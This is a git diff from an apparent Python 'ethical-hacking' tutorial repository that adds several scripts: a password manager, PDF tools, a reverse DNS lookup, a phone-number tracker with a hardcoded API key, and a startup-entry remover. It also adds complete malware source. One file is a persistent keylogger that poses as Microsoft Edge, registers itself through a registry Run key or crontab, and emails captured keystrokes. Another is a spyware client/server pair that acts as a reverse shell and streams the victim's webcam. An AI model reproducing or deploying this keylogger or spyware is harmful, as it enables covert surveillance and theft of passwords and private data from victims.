+        return None
+
+    # Load existing data from passwords.json
+    try:
+        with open('passwords.json', 'r') as file:
+            data = json.load(file)
+    except json.JSONDecodeError:
+        data = []
+    # Loop through all the websites and check if the requested website exists.
+    for entry in data:
+        if entry['website'] == website:
+            # Decrypt and return the password
+            decrypted_password = decrypt_password(cipher, entry['password'])
+            return decrypted_password
+
+    return None
+
+
+# Infinite loop to keep the program running until the user chooses to quit.
+while True:
+    print("1. Register")
+    print("2. Login")
+    print("3. Quit")
+    choice = input("Enter your choice: ")
+
+    if choice == '1':  # If a user wants to register
+        file = 'user_data.json'
+        if os.path.exists(file) and os.path.getsize(file) != 0:
+            print("\n[-] Master user already exists!!")
+            sys.exit()
+        else:
+            username = input("Enter your username: ")
+            master_password = getpass.getpass("Enter your master password: ")
+            register(username, master_password)
+
+    elif choice == '2':  # If a User wants to log in
+        file = 'user_data.json'
+        if os.path.exists(file):
+            username = input("Enter your username: ")
+            master_password = getpass.getpass("Enter your master password: ")
+            login(username, master_password)
+        else:
+            print("\n[-] You have not registered. Please do that.\n")
+            sys.exit()
+        # Various options after a successful Login.
+        while True:
+            print("1. Add Password")
+            print("2. Get Password")
+            print("3. View Saved websites")
+            print("4. Quit")
+
+            password_choice = input("Enter your choice: ")
+            if password_choice == '1':  # If a user wants to add a password
+                website = input("Enter website: ")
+                password = getpass.getpass("Enter password: ")
+
+                # Encrypt and add the password
+                add_password(website, password)
+                print("\n[+] Password added!\n")
+
+            elif password_choice == '2':  # If a User wants to retrieve a password
+                website = input("Enter website: ")
+                decrypted_password = get_password(website)
+                if website and decrypted_password:
+                    # Copy password to clipboard for convenience
+                    pyperclip.copy(decrypted_password)
+                    print(f"\n[+] Password for {website}: {decrypted_password}\n[+] Password copied to clipboard.\n")
+                else:
+                    print("\n[-] Password not found! Did you save the password?"
+                          "\n[-] Use option 3 to see the websites you saved.\n")
+
+            elif password_choice == '3':  # If a user wants to view saved websites
+                view_websites()
+
+            elif password_choice == '4':  # If a user wants to quit the password manager
+                break
+
+    elif choice == '3':  # If a user wants to quit the program
+        break
diff --git a/ethical-hacking/password-manager/requirements.txt b/ethical-hacking/password-manager/requirements.txt
new file mode 100644
index 00000000..c10ec962
--- /dev/null
+++ b/ethical-hacking/password-manager/requirements.txt
@@ -0,0 +1,2 @@
+cryptography
+pyperclip
\ No newline at end of file
diff --git a/ethical-hacking/pdf-cracker/pdf_cracker.py b/ethical-hacking/pdf-cracker/pdf_cracker.py
index ea1d0728..141aea02 100644
--- a/ethical-hacking/pdf-cracker/pdf_cracker.py
+++ b/ethical-hacking/pdf-cracker/pdf_cracker.py
@@ -12,6 +12,6 @@
             # Password decrypted successfully, break out of the loop
             print("[+] Password found:", password)
             break
-    except pikepdf._qpdf.PasswordError as e:
+    except pikepdf._core.PasswordError as e:
         # wrong password, just continue in the loop
         continue
diff --git a/ethical-hacking/pdf-locker/README.md b/ethical-hacking/pdf-locker/README.md
new file mode 100644
index 00000000..26db7776
--- /dev/null
+++ b/ethical-hacking/pdf-locker/README.md
@@ -0,0 +1 @@
+# [How to Lock PDFs in Python](https://thepythoncode.com/article/lock-pdfs-in-python)
\ No newline at end of file
diff --git a/ethical-hacking/pdf-locker/pdf_locker.py b/ethical-hacking/pdf-locker/pdf_locker.py
new file mode 100644
index 00000000..9f92c704
--- /dev/null
+++ b/ethical-hacking/pdf-locker/pdf_locker.py
@@ -0,0 +1,39 @@
+# Import the necessary libraries
+import PyPDF2, getpass # getpass is for getting password with some level of security
+from colorama import Fore, init
+
+# Initialize colorama for colored output
+init()
+
+
+# Function to lock pdf
+def lock_pdf(input_file, password):
+    with open(input_file, 'rb') as file:
+        # Create a PDF reader object
+        pdf_reader = PyPDF2.PdfReader(file)
+
+        # Create a PDF writer object
+        pdf_writer = PyPDF2.PdfWriter()
+
+        # Add all pages to the writer
+        for page_num in range(len(pdf_reader.pages)):
+            pdf_writer.add_page(pdf_reader.pages[page_num])
+
+        # Encrypt the PDF with the provided password
+        pdf_writer.encrypt(password)
+
+        # Write the encrypted content back to the original file
+        with open(input_file, 'wb') as output_file:
+            pdf_writer.write(output_file)
+
+
+# Get user input
+input_pdf = input("Enter the path to the PDF file: ")
+password = getpass.getpass("Enter the password to lock the PDF: ")
+
+# Lock the PDF using PyPDF2
+print(f'{Fore.GREEN}[!] Please hold on for a few seconds..')
+lock_pdf(input_pdf, password)
+
+# Let the user know it's done
+print(f"{Fore.GREEN}[+] PDF locked successfully.")
diff --git a/ethical-hacking/pdf-locker/requirements.txt b/ethical-hacking/pdf-locker/requirements.txt
new file mode 100644
index 00000000..d2ff42de
--- /dev/null
+++ b/ethical-hacking/pdf-locker/requirements.txt
@@ -0,0 +1,2 @@
+PyPDF2
+colorama
\ No newline at end of file
diff --git a/ethical-hacking/pdf-metadata-remover/README.md b/ethical-hacking/pdf-metadata-remover/README.md
new file mode 100644
index 00000000..2eba5916
--- /dev/null
+++ b/ethical-hacking/pdf-metadata-remover/README.md
@@ -0,0 +1 @@
+# [How to Remove Metadata from PDFs in Python](https://thepythoncode.com/article/how-to-remove-metadata-from-pdfs-in-python)
\ No newline at end of file
diff --git a/ethical-hacking/pdf-metadata-remover/remove_pdf_metadata.py b/ethical-hacking/pdf-metadata-remover/remove_pdf_metadata.py
new file mode 100644
index 00000000..dd801d59
--- /dev/null
+++ b/ethical-hacking/pdf-metadata-remover/remove_pdf_metadata.py
@@ -0,0 +1,33 @@
+import PyPDF2
+
+def remove_metadata(pdf_file):
+    # Open the PDF file.
+    with open(pdf_file, 'rb') as file:
+        reader = PyPDF2.PdfReader(file)
+
+        # Check if metadata exists.
+        if reader.metadata is not None:
+            print("Metadata found in the PDF file.")
+
+            # Create a new PDF file without metadata.
+            writer = PyPDF2.PdfWriter()
+
+            # Copy pages from the original PDF to the new PDF.
+            for page_num in range(len(reader.pages)):
+                page = reader.pages[page_num]
+                writer.add_page(page)
+
+            # Open a new file to write the PDF without metadata.
+            new_pdf_file = f"{pdf_file.split('.')[0]}_no_metadata.pdf"
+            with open(new_pdf_file, 'wb') as output_file:
+                writer.write(output_file)
+
+            print(f"PDF file without metadata saved as '{new_pdf_file}'.")
+        else:
+            print("No metadata found in the PDF file.")
+
+# Specify the path to your PDF file.
+pdf_file_path = "EEE415PQ.pdf"
+
+# Call the function to remove metadata.
+remove_metadata(pdf_file_path)
\ No newline at end of file
diff --git a/ethical-hacking/pdf-metadata-remover/requirements.txt b/ethical-hacking/pdf-metadata-remover/requirements.txt
new file mode 100644
index 00000000..77e8be78
--- /dev/null
+++ b/ethical-hacking/pdf-metadata-remover/requirements.txt
@@ -0,0 +1 @@
+PyPDF2==3.0.1
\ No newline at end of file
diff --git a/ethical-hacking/persistent-malware/README.md b/ethical-hacking/persistent-malware/README.md
new file mode 100644
index 00000000..8df17579
--- /dev/null
+++ b/ethical-hacking/persistent-malware/README.md
@@ -0,0 +1 @@
+# [How to Make Malware Persistent in Python](https://thepythoncode.com/article/how-to-create-malware-persistent-in-python)
\ No newline at end of file
diff --git a/ethical-hacking/persistent-malware/keylogger_persistent.py b/ethical-hacking/persistent-malware/keylogger_persistent.py
new file mode 100644
index 00000000..1ec8c2f4
--- /dev/null
+++ b/ethical-hacking/persistent-malware/keylogger_persistent.py
@@ -0,0 +1,137 @@
+import keyboard  # for keylogs
+import smtplib  # for sending email using SMTP protocol (gmail)
+from threading import Timer
+from datetime import datetime
+from email.mime.multipart import MIMEMultipart
+from email.mime.text import MIMEText
+import os, shutil, subprocess, platform, sys
+from sys import executable
+
+SEND_REPORT_EVERY = 60  # in seconds, 60 means 1 minute and so on
+EMAIL_ADDRESS = "email@provider.tld"
+EMAIL_PASSWORD = "password_here"
+
+def setup_persistence():
+    """This function sets up persistence (runs automatically at startup) of this executable.
+    On Linux, it uses crontab to create a cron job that runs this script at reboot.
+    On Windows, it uses the Windows Registry to add a key that runs this script at startup.
+    Note that this will only work if the script is bundled as an executable using PyInstaller on Windows.
+    On Linux, it will work with the script itself or the executable."""
+    os_type = platform.system()
+    if os_type == "Windows":
+        location = os.environ['appdata'] + "\\MicrosoftEdgeLauncher.exe" # Disguise the keylogger as Microsoft Edge
+        if not os.path.exists(location):
+            shutil.copyfile(executable, location)
+            subprocess.call(f'reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MicrosoftEdge /t REG_SZ /d "{location}" ', shell=True)
+    elif os_type == "Linux":
+        location = os.path.expanduser('~') + "/.config/KaliStartup"
+        if not os.path.exists(location):
+            # Create the autostart directory if it doesn't exist
+            os.makedirs(location)
+            filename = os.path.join(location, "KaliStartup")
+            # Copy the keylogger to that new location
+            shutil.copyfile(sys.executable, filename)
+            # Add the keylogger to startup via crontab
+            crontab_line = f"@reboot {filename}"
+            os.system(f'(crontab -l; echo "{crontab_line}") | crontab -')
+
+# Run the setup_persistence function
+setup_persistence()
+
+class Keylogger:
+    def __init__(self, interval, report_method="email"):
+        """Initialize the keylogger with the specified interval for sending reports and the method of reporting."""
+        self.interval = interval
+        self.report_method = report_method
+        self.log = ""
+        self.start_dt = datetime.now()
+        self.end_dt = datetime.now()
+
+    def callback(self, event):
+        """Handle a keyboard event by logging the keystroke."""
+        name = event.name
+        if len(name) > 1:
+            if name == "space":
+                name = " "
+            elif name == "enter":
+                name = "[ENTER]\n"
+            elif name == "decimal":
+                name = "."
+            else:
+                name = name.replace(" ", "_")
+                name = f"[{name.upper()}]"
+        self.log += name
+
+    def update_filename(self):
+        """Update the filename for the log file based on the current date and time."""
+        start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
+        end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
+        self.filename = f"keylog-{start_dt_str}_{end_dt_str}"
+
+    def report_to_file(self):
+        """This method creates a log file in the specified directory that contains
+        the current keylogs in the `self.log` variable"""
+        os_type = platform.system()
+        if os_type == "Windows":
+            log_dir = os.path.join(os.environ['USERPROFILE'], 'Documents', 'KeyloggerLogs')
+        elif os_type == "Linux":
+            log_dir = os.path.join(os.path.expanduser("~"), 'Documents', 'KeyloggerLogs')
+        # create a directory for the logs
+        if not os.path.exists(log_dir):
+            os.makedirs(log_dir)
+        log_file = os.path.join(log_dir, f"{self.filename}.txt")
+        # write the logs to a file
+        with open(log_file, "w") as f:
+            print(self.log, file=f)
+        print(f"[+] Saved {log_file}")
+
+    def prepare_mail(self, message):
+        """Prepare an email message with both text and HTML versions."""
+        msg = MIMEMultipart("alternative")
+        msg["From"] = EMAIL_ADDRESS
+        msg["To"] = EMAIL_ADDRESS
+        msg["Subject"] = "Keylogger logs"
+        html = f"<p>{message}</p>"
+        text_part = MIMEText(message, "plain")
+        html_part = MIMEText(html, "html")
+        msg.attach(text_part)
+        msg.attach(html_part)
+        return msg.as_string()
+
+    def sendmail(self, email, password, message, verbose=1):
+        """Send an email using SMTP with the logged keystrokes."""
+        server = smtplib.SMTP(host="smtp.office365.com", port=587)
+        server.starttls()
+        server.login(email, password)
+        server.sendmail(email, email, self.prepare_mail(message))
+        server.quit()
+        if verbose:
+            print(f"{datetime.now()} - Sent an email to {email} containing: {message}")
+
+    def report(self):
+        """Report the captured keystrokes either by email or by saving to a file."""
+        if self.log:
+            self.end_dt = datetime.now()
+            self.update_filename()
+            if self.report_method == "email":
+                self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
+            elif self.report_method == "file":
+                self.report_to_file()
+            self.start_dt = datetime.now()
+        self.log = ""
+        timer = Timer(interval=self.interval, function=self.report)
+        timer.daemon = True
+        timer.start()
+
+    def start(self):
+        """Start the keylogger."""
+        self.start_dt = datetime.now()
+        keyboard.on_release(callback=self.callback)
+        self.report()
+        print(f"{datetime.now()} - Started keylogger")
+        keyboard.wait()
+
+
+if __name__ == "__main__":
+    keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")
+    keylogger.start()
diff --git a/ethical-hacking/persistent-malware/requirements.txt b/ethical-hacking/persistent-malware/requirements.txt
new file mode 100644
index 00000000..c2539834
--- /dev/null
+++ b/ethical-hacking/persistent-malware/requirements.txt
@@ -0,0 +1 @@
+keyboard
diff --git a/ethical-hacking/phone-number-tracker/README.md b/ethical-hacking/phone-number-tracker/README.md
new file mode 100644
index 00000000..7a5b80e2
--- /dev/null
+++ b/ethical-hacking/phone-number-tracker/README.md
@@ -0,0 +1 @@
+# [How to Make a Phone Number Tracker in Python](https://thepythoncode.com/article/phone-number-tracker-in-python)
\ No newline at end of file
diff --git a/ethical-hacking/phone-number-tracker/phone_number_tracker.py b/ethical-hacking/phone-number-tracker/phone_number_tracker.py
new file mode 100644
index 00000000..acd1b6e3
--- /dev/null
+++ b/ethical-hacking/phone-number-tracker/phone_number_tracker.py
@@ -0,0 +1,149 @@
+import phonenumbers, sys, folium, os, argparse
+from colorama import init, Fore
+from phonenumbers import geocoder, timezone, carrier
+init()
+
+
+def process_number(number):
+    try:
+        global location
+
+        # Parse the phone number. See this as extracting relevant information from the Phone number.
+        parsed_number = phonenumbers.parse(number)
+
+        '''Display a message indicating the tracking attempt. We'll also format the parsed number to the 
+        international format.'''
+
+        print(f"{Fore.GREEN}[+] Attempting to track location of "
+              f"{phonenumbers.format_number(parsed_number, phonenumbers.PhoneNumberFormat.INTERNATIONAL)}..")
+
+        # Get and display the time zone ID
+        print(f"{Fore.GREEN}[+] Time Zone ID: {timezone.time_zones_for_number(parsed_number)}")
+
+        # Get the geographic location of the Phone number and display it.
+        location = geocoder.description_for_number(parsed_number, "en")
+        if location:
+            print(f"{Fore.GREEN}[+] Region: {location}")
+        else:
+            print(f"{Fore.RED}[-] Region: Unknown")
+
+        '''Get the service provider (carrier) and display it if available. Some businesses and 
+        organizations do not use public service providers. So you may not see the carrier in that case.'''
+
+        if carrier.name_for_number(parsed_number, 'en'):
+            print(f"{Fore.GREEN}[+] Service Provider:  {carrier.name_for_number(parsed_number, 'en')}")
+        else:
+            pass
+
+    # Handle exceptions, such as invalid phone numbers or connectivity issues.
+    except Exception:
+        print(f"{Fore.RED}[-] Please specify a valid phone number (with country code)"
+              " or check your internet connection.")
+        sys.exit()
+
+def get_approx_coordinates():
+    # Import the OpenCageGeocode class from the opencage.geocoder module
+    from opencage.geocoder import OpenCageGeocode
+
+    global coder, latitude, longitude
+
+    # Try to execute the following block, and handle exceptions if they occur.
+    try:
+        # Create an instance of the OpenCageGeocode class with your API key.
+        coder = OpenCageGeocode("42c84373c47e490ba410d4132ae64fc4")
+
+        query = location
+
+        # Perform a geocoding query to obtain results.
+        results = coder.geocode(query)
+
+        # Extract latitude and longitude from the geocoding results. These are the coordinates of the number's location.
+        latitude = results[0]['geometry']['lat']
+        longitude = results[0]['geometry']['lng']
+
+        # Print the obtained latitude and longitude.
+        print(f"[+] Latitude: {latitude}, Longitude: {longitude}")
+
+        # Perform a reverse geocoding query to obtain an address based on coordinates.
+        address = coder.reverse_geocode(latitude, longitude)
+
+        # Check if an address was found.
+        if address:
+            address = address[0]['formatted']
+            print(f"{Fore.LIGHTRED_EX}[+] Approximate Location is {address}")
+        else:
+            # If no address was found, print an error message.
+            print(f"{Fore.RED}[-] No address found for the given coordinates.")
+    except Exception:
+        '''Handle exceptions by printing an error message and exiting the script. This would prevent the program from 
+        crashing'''
+
+        print(f"{Fore.RED}[-] Could not get the location of this number. Please specify a valid phone number or "
+              "check your internet connection.")
+        sys.exit()
+
+# This function basically removes unwanted characters from the Phone number such as white spaces.
+def clean_phone_number(phone_number):
+    cleaned = ''.join(char for part in phone_number for char in part if char.isdigit() or char == '+')
+    return cleaned or "unknown"
+
+# Function to see Aerial view of the person's location.
+def draw_map():
+    try:
+        # Create a Folium map centered around the latitude and longitude of the number's coordinates.
+        my_map = folium.Map(location=[latitude, longitude], zoom_start=9)
+
+        # Add a marker to the map at the specified latitude and longitude with a popup displaying the 'location' variable.
+        folium.Marker([latitude, longitude], popup=location).add_to(my_map)
+
+        ''' Clean the phone number and use it to generate a file name with an '.html' extension
+        we'll basically save each map with the number of the owner for easy identification.'''
+
+        cleaned_phone_number = clean_phone_number(args.phone_number) # We'll see 'args' soon.
+        file_name = f"{cleaned_phone_number}.html"
+
+        # Save the map as an HTML file with the generated file name.
+        my_map.save(file_name)
+
+        # Print a message indicating where the saved HTML file can be found.
+        print(f"[+] See Aerial Coverage at: {os.path.abspath(file_name)}")
+
+    # Handle the 'NameError' exception, which can occur if the 'latitude' or 'longitude' variables are not defined.
+    except NameError:
+        print(f"{Fore.RED}[-] Could not get Aerial coverage for this number. Please check the number again.")
+
+
+# Function to handle command-line arguments.
+def cli_argument():
+    # Create an ArgumentParser object and specify a description.
+    parser = argparse.ArgumentParser(description="Get approximate location of a Phone number.")
+
+    # Define a command-line argument: -p or --phone. This is to receive the user's number from terminal.
+    parser.add_argument("-p", "--phone", dest="phone_number", type=str,
+                        help="Phone number to track. Please include the country code when specifying the number.",
+                        required=True, nargs="+")
+
+    # Parse the command-line arguments.
+    argument = parser.parse_args()
+
+    # Check if the 'phone_number' argument is not provided.
+    if not argument.phone_number:
+        # Print an error message indicating that the phone number is required.
+        print(f"{Fore.RED}[-] Please specify the phone number to track (including country code)."
+              " Use --help to see usage.")
+
+        # Exit the script.
+        sys.exit()
+
+    # Return the parsed command-line arguments.
+    return argument
+
+# Parse command-line arguments using the 'cli_argument' function.
+args = cli_argument()
+
+# Call the process_number function and pass the phone number as a single string.
+process_number("".join(args.phone_number))
+get_approx_coordinates()
+draw_map()
+
+
diff --git a/ethical-hacking/phone-number-tracker/requirements.txt b/ethical-hacking/phone-number-tracker/requirements.txt
new file mode 100644
index 00000000..b1598993
--- /dev/null
+++ b/ethical-hacking/phone-number-tracker/requirements.txt
@@ -0,0 +1,4 @@
+phonenumbers
+folium
+colorama 
+opencage
\ No newline at end of file
diff --git a/ethical-hacking/remove-persistent-malware/README.md b/ethical-hacking/remove-persistent-malware/README.md
new file mode 100644
index 00000000..6145b698
--- /dev/null
+++ b/ethical-hacking/remove-persistent-malware/README.md
@@ -0,0 +1 @@
+# [How to Remove Persistent Malware in Python](https://thepythoncode.com/article/removingg-persistent-malware-in-python)
\ No newline at end of file
diff --git a/ethical-hacking/remove-persistent-malware/remove_persistent_malware.py b/ethical-hacking/remove-persistent-malware/remove_persistent_malware.py
new file mode 100644
index 00000000..88ba4f7e
--- /dev/null
+++ b/ethical-hacking/remove-persistent-malware/remove_persistent_malware.py
@@ -0,0 +1,118 @@
+import os
+import platform
+import subprocess
+import tempfile
+
+# Windows-specific imports
+if platform.system() == "Windows":
+    import winreg
+
+# Get Windows start-up entries and display
+def list_windows_startup_entries():
+    key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Run")
+    entries = []
+    try:
+        i = 0
+        while True:
+            entry_name, entry_value, entry_type = winreg.EnumValue(key, i)
+            entries.append((i + 1, entry_name, entry_value))
+            i += 1
+    except OSError:
+        pass
+    winreg.CloseKey(key)
+    return entries
+
+# Remove Windows start-up entries
+def remove_windows_startup_entry(index, entries):
+    key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Run", 0, winreg.KEY_SET_VALUE)
+    try:
+        entry_name, entry_value = entries[index - 1][1], entries[index - 1][2]
+        winreg.DeleteValue(key, entry_name)
+        print(f"[+] Entry {entry_name} has been removed successfully.")
+
+        if os.path.isfile(entry_value):
+            os.remove(entry_value)
+            print(f"[+] File '{entry_value}' has been deleted successfully.")
+        else:
+            print(f"[-] File '{entry_value}' not found or unable to delete.")
+    except IndexError:
+        print("[-] Invalid entry index.")
+    except OSError  as e:
+        print(f"[-] Error removing entry: {e}")
+    finally:
+        winreg.CloseKey(key)
+
+# Get the cron tab entries
+def list_linux_crontab_entries():
+    try:
+        output = subprocess.check_output(["crontab", "-l"], stderr=subprocess.STDOUT).decode('utf-8').strip()
+        if output:
+            entries = output.split("\n")
+            return [(i + 1, entry) for i, entry in enumerate(entries)]
+        else:
+            return []
+    except subprocess.CalledProcessError as e:
+        if "no crontab" in e.output.decode('utf-8'):
+            return []
+        else:
+            raise
+
+def remove_linux_crontab_entry(index, entries):
+    try:
+        entry = entries[index - 1][1]
+        all_entries = [e[1] for e in entries if e[1] != entry]
+
+        with tempfile.NamedTemporaryFile(delete=False) as tmp_file:
+            tmp_file.write("\n".join(all_entries).encode('utf-8'))
+            tmp_file.write(b"\n")
+            tmp_file_path = tmp_file.name
+
+        subprocess.check_output(["crontab", tmp_file_path], stderr=subprocess.STDOUT)
+        os.unlink(tmp_file_path)
+        print(f"[+] Entry '{entry}' has been removed successfully.")
+    except IndexError:
+        print("[-] Invalid entry index.")
+    except Exception as e:
+        print(f"[-] Error removing crontab entry: {e}")
+
+def main():
+    os_name = platform.system()
+    if os_name == "Windows":
+        entries = list_windows_startup_entries()
+        if not entries:
+            print("[-] No startup entries found.")
+        else:
+            print("[+] Startup entries:")
+            for index, name, value in entries:
+                print(f"{index}. {name}: {value}")
+
+            print("\n")
+            choice = int(input("[!] Enter the number of the entry you want to remove (0 to exit): "))
+            if choice == 0:
+                return
+            elif 0 < choice <= len(entries):
+                remove_windows_startup_entry(choice, entries)
+            else:
+                print("[-] Invalid choice.")
+    elif os_name == "Linux":
+        entries = list_linux_crontab_entries()
+        if not entries:
+            print("[-] No crontab entries found.")
+        else:
+            print("[+] Crontab entries:")
+            for index, entry in entries:
+                print(f"{index}. {entry}")
+
+            print("\n")
+            choice = int(input("[!] Enter the number of the entry you want to remove (0 to exit): "))
+            if choice == 0:
+                return
+            elif 0 < choice <= len(entries):
+                remove_linux_crontab_entry(choice, entries)
+            else:
+                print("[-] Invalid choice.")
+    else:
+        print(f"[-] Unsupported operating system: {os_name}")
+
+if __name__ == "__main__":
+    main()
diff --git a/ethical-hacking/reverse-dns-lookup/README.md b/ethical-hacking/reverse-dns-lookup/README.md
new file mode 100644
index 00000000..e2aa69a3
--- /dev/null
+++ b/ethical-hacking/reverse-dns-lookup/README.md
@@ -0,0 +1 @@
+# [How to Perform Reverse DNS Lookups Using Python](https://thepythoncode.com/article/reverse-dns-lookup-with-python)
\ No newline at end of file
diff --git a/ethical-hacking/reverse-dns-lookup/requirements.txt b/ethical-hacking/reverse-dns-lookup/requirements.txt
new file mode 100644
index 00000000..663bd1f6
--- /dev/null
+++ b/ethical-hacking/reverse-dns-lookup/requirements.txt
@@ -0,0 +1 @@
+requests
\ No newline at end of file
diff --git a/ethical-hacking/reverse-dns-lookup/reverse_lookup.py b/ethical-hacking/reverse-dns-lookup/reverse_lookup.py
new file mode 100644
index 00000000..449f79d0
--- /dev/null
+++ b/ethical-hacking/reverse-dns-lookup/reverse_lookup.py
@@ -0,0 +1,69 @@
+# Import the necessary libraries
+import argparse
+import ipaddress
+import socket
+import requests
+
+API_KEY = "Your-Api-Key-Here"  # Replace with your ViewDNS API key
+
+# Function to Check if IP address is valid.
+def is_valid_ip(ip):
+
+    try:
+        ipaddress.ip_address(ip)
+        return True
+    except ValueError:
+        return False
+
+
+# Perform reverse look up.
+def reverse_lookup(ip):
+    try:
+        domain = socket.gethostbyaddr(ip)[0]
+        return domain
+    except socket.herror:
+        return None
+
+
+# Get websites on same server.
+def get_websites_on_server(ip):
+    url = f"https://api.viewdns.info/reverseip/?host={ip}&apikey={API_KEY}&output=json"
+    response = requests.get(url)
+    if response.status_code == 200:
+        data = response.json()
+        if "response" in data and "domains" in data["response"]:
+            websites = data["response"]["domains"]
+            return websites
+    return []
+
+
+# Get user arguments and execute.
+def main():
+    parser = argparse.ArgumentParser(description="Perform IP reverse lookup.")
+    parser.add_argument("ips", nargs="+", help="IP address(es) to perform reverse lookup on.")
+    parser.add_argument("--all", "-a", action="https://github.com/store_true", help="Print all other websites on the same server.")
+    args = parser.parse_args()
+
+    for ip in args.ips:
+        if not is_valid_ip(ip):
+            print(f"[-] Invalid IP address: {ip}")
+            continue
+
+        domain = reverse_lookup(ip)
+        if domain:
+            print(f"[+] IP: {ip}, Domain: {domain}")
+            if args.all:
+                websites = get_websites_on_server(ip)
+                if websites:
+                    print("\nOther websites on the same server:")
+                    for website in websites:
+                        print(f"[+] {website}")
+                    print('\n')
+                else:
+                    print("[-] No other websites found on the same server.")
+        else:
+            print(f"[-] No domain found for IP: {ip}")
+
+
+if __name__ == "__main__":
+    main()
diff --git a/ethical-hacking/spyware/README.md b/ethical-hacking/spyware/README.md
new file mode 100644
index 00000000..9c2520c9
--- /dev/null
+++ b/ethical-hacking/spyware/README.md
@@ -0,0 +1 @@
+# [How to Build Spyware in Python](https://thepythoncode.com/article/how-to-build-spyware-in-python)
\ No newline at end of file
diff --git a/ethical-hacking/spyware/client.py b/ethical-hacking/spyware/client.py
new file mode 100644
index 00000000..d36eca07
--- /dev/null
+++ b/ethical-hacking/spyware/client.py
@@ -0,0 +1,64 @@
+import socket # For network (client-server) communication.
+import os # For handling os executions.
+import subprocess # For executing system commands.
+import cv2 # For recording the video.
+import threading # For recording the video in a different thread.
+import platform # We use this to get the os of the target (client).
+
+SERVER_HOST = "127.0.0.1" # Server's IP address
+SERVER_PORT = 4000
+BUFFER_SIZE = 1024 * 128  # 128KB max size of messages, you can adjust this.
+
+# Separator string for sending 2 messages at a time.
+SEPARATOR = "<sep>"
+
+# Create the socket object.
+s = socket.socket()
+# Connect to the server.
+s.connect((SERVER_HOST, SERVER_PORT))
+
+# Get the current directory and os and send it to the server.
+cwd = os.getcwd()
+targets_os = platform.system()
+s.send(cwd.encode())
+s.send(targets_os.encode())
+
+# Function to record and send the video.
+def record_video():
+    global cap
+    cap = cv2.VideoCapture(0)
+    while True:
+        ret, frame = cap.read()
+        if not ret:
+            break
+        _, frame_bytes = cv2.imencode('.jpg', frame)
+        frame_size = len(frame_bytes)
+        s.sendall(frame_size.to_bytes(4, byteorder='little'))
+        s.sendall(frame_bytes)
+    cap.release()
+    cv2.destroyAllWindows()
+
+while True:
+    # receive the command from the server.
+    command = s.recv(BUFFER_SIZE).decode()
+    splited_command = command.split()
+    if command.lower() == "exit":
+        # if the command is exit, just break out of the loop.
+        break
+    elif command.lower() == "start":
+        # Start recording video in a separate thread
+        recording_thread = threading.Thread(target=record_video)
+        recording_thread.start()
+        output = "Video recording started."
+        print(output)
+    else:
+        # execute the command and retrieve the results.
+        output = subprocess.getoutput(command)
+        # get the current working directory as output.
+        cwd = os.getcwd()
+        # send the results back to the server.
+        message = f"{output}{SEPARATOR}{cwd}"
+        s.send(message.encode())
+
+# close client connection.
+s.close()
\ No newline at end of file
diff --git a/ethical-hacking/spyware/requirements.txt b/ethical-hacking/spyware/requirements.txt
new file mode 100644
index 00000000..fc4586c8
--- /dev/null
+++ b/ethical-hacking/spyware/requirements.txt
@@ -0,0 +1,2 @@
+numpy
+opencv-python
\ No newline at end of file
diff --git a/ethical-hacking/spyware/server_side.py b/ethical-hacking/spyware/server_side.py
new file mode 100644
index 00000000..219e2319
--- /dev/null
+++ b/ethical-hacking/spyware/server_side.py
@@ -0,0 +1,115 @@
+import socket # For network (client-server) communication.
+import cv2 # For video recording.
+import signal # For handling the ctrl+c command when exiting the program.
+import threading # For running the video recording in a seperate thread. 
+import numpy as np # For working with video frames.
+
+
+# SERVER_HOST = "0.0.0.0" # Bind the server to all available network interfaces.
+# or if you want to test it locally, use 127.0.0.1
+SERVER_HOST = "127.0.0.1"
+SERVER_PORT = 4000
+BUFFER_SIZE = 1024 * 128  # 128KB max size of messages. You can adjust this to your taste
+
+# Separator string for sending 2 messages at a time
+SEPARATOR = "<sep>"
+
+# Create the socket object.
+s = socket.socket()
+# Bind the socket to all IP addresses of this host.
+s.bind((SERVER_HOST, SERVER_PORT))
+# Make the PORT reusable
+s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+# Set maximum number of queued connections to 5.
+s.listen(5)
+print(f"Listening as {SERVER_HOST} on port {SERVER_PORT} ...")
+
+# Accept any connections attempted.
+client_socket, client_address = s.accept()
+print(f"{client_address[0]}:{client_address[1]} Connected!")
+
+# Receive the current working directory and os of the target (client).
+cwd = client_socket.recv(BUFFER_SIZE).decode()
+targets_os = client_socket.recv(BUFFER_SIZE).decode()
+
+# Print the info received.
+print("[+] Current working directory: ", cwd)
+print("[+] Target's Operating system: ", targets_os)
+
+# Set up the video capture and writer.
+cap = None
+out = None
+recording_thread = None
+
+# Function to handle Ctrl+C signal.
+def signal_handler(sig, frame):
+    print('Saving video and exiting...')
+    if recording_thread is not None:
+        recording_thread.join()
+    if cap is not None and out is not None:
+        cap.release()
+        out.release()
+    cv2.destroyAllWindows()
+    client_socket.close()
+    s.close()
+    exit(0)
+
+# Set up the signal handler.
+signal.signal(signal.SIGINT, signal_handler)
+
+# Function to record and display the video.
+def record_video():
+    global out
+    fourcc = cv2.VideoWriter_fourcc(*'mp4v')
+    out = cv2.VideoWriter('output.mp4', fourcc, 30.0, (640, 480))
+    while True:
+        # Receive the frame size.
+        frame_size = int.from_bytes(client_socket.recv(4), byteorder='little')
+        # Receive the frame data.
+        frame_data = b''
+        while len(frame_data) < frame_size:
+            packet = client_socket.recv(min(BUFFER_SIZE, frame_size - len(frame_data)))
+            if not packet:
+                break
+            frame_data += packet
+        if not frame_data:
+            break
+        # Decode the frame.
+        frame = cv2.imdecode(np.frombuffer(frame_data, dtype=np.uint8), cv2.IMREAD_COLOR)
+        # Write the frame to the video file.
+        out.write(frame)
+        # Display the frame.
+        cv2.imshow('Remote Camera Feed', frame)
+        if cv2.waitKey(1) & 0xFF == ord('q'):
+            break
+    out.release()
+    client_socket.close()
+    cv2.destroyAllWindows()
+while True:
+    # Get the command from the user.
+    command = input(f"{cwd} $> ")
+    if not command.strip():
+        # Empty command.
+        continue
+    # Send the command to the client.
+    client_socket.send(command.encode())
